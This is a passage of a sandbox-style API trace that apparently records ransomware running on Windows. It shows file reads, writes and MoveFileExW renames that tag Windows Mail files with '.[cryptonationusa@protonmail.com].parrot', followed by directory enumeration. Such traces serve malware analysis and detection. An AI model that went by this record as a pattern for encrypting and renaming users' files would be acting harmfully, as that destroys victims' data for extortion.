hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe8, lpOverlapped=0x0) returned 1 [0086.693] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.693] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.697] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.697] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.698] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.698] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13fb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x13fb, lpOverlapped=0x0) returned 1 [0086.701] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.702] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212090 | out: hHeap=0x5b0000) returned 1 [0086.705] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.705] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.706] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.706] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe9, lpOverlapped=0x0) returned 1 [0086.706] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.706] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.708] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.708] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.708] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.709] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.710] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.711] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.711] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x780, lpOverlapped=0x0) returned 1 [0086.711] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.712] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22117e8 | out: hHeap=0x5b0000) returned 1 [0086.715] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.715] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.716] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.716] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xed, lpOverlapped=0x0) returned 1 [0086.716] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.716] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0086.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.720] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.720] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.768] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.769] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x127e, lpOverlapped=0x0) returned 1 [0086.770] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.770] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212090 | out: hHeap=0x5b0000) returned 1 [0086.773] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.774] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.774] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.775] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe8, lpOverlapped=0x0) returned 1 [0086.775] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.775] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.779] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.779] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.780] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.780] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2949, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x2949, lpOverlapped=0x0) returned 1 [0086.781] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.781] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0086.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22140d0 | out: hHeap=0x5b0000) returned 1 [0086.785] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.785] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.786] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.786] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xe6, lpOverlapped=0x0) returned 1 [0086.786] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.787] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211050 | out: hHeap=0x5b0000) returned 1 [0086.790] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.790] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.791] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.791] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d51, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1d51, lpOverlapped=0x0) returned 1 [0086.792] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.792] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212090 | out: hHeap=0x5b0000) returned 1 [0086.796] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.796] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc10bd8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc10bd8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.797] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc0ef4820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BEARSH~1.PAR")) returned 1 [0086.798] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.798] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0086.799] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.799] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.838] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.838] WriteFile (in: hFile=0x284, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0086.840] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.840] WriteFile (in: hFile=0x284, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.843] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x204118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.844] CloseHandle (hObject=0x284) returned 1 [0086.880] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0086.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0086.932] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0086.932] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc1214500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1214500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.933] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc03cc100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCOUN~1.PAR")) returned 1 [0086.933] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0086.933] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.933] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.933] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.933] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.933] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 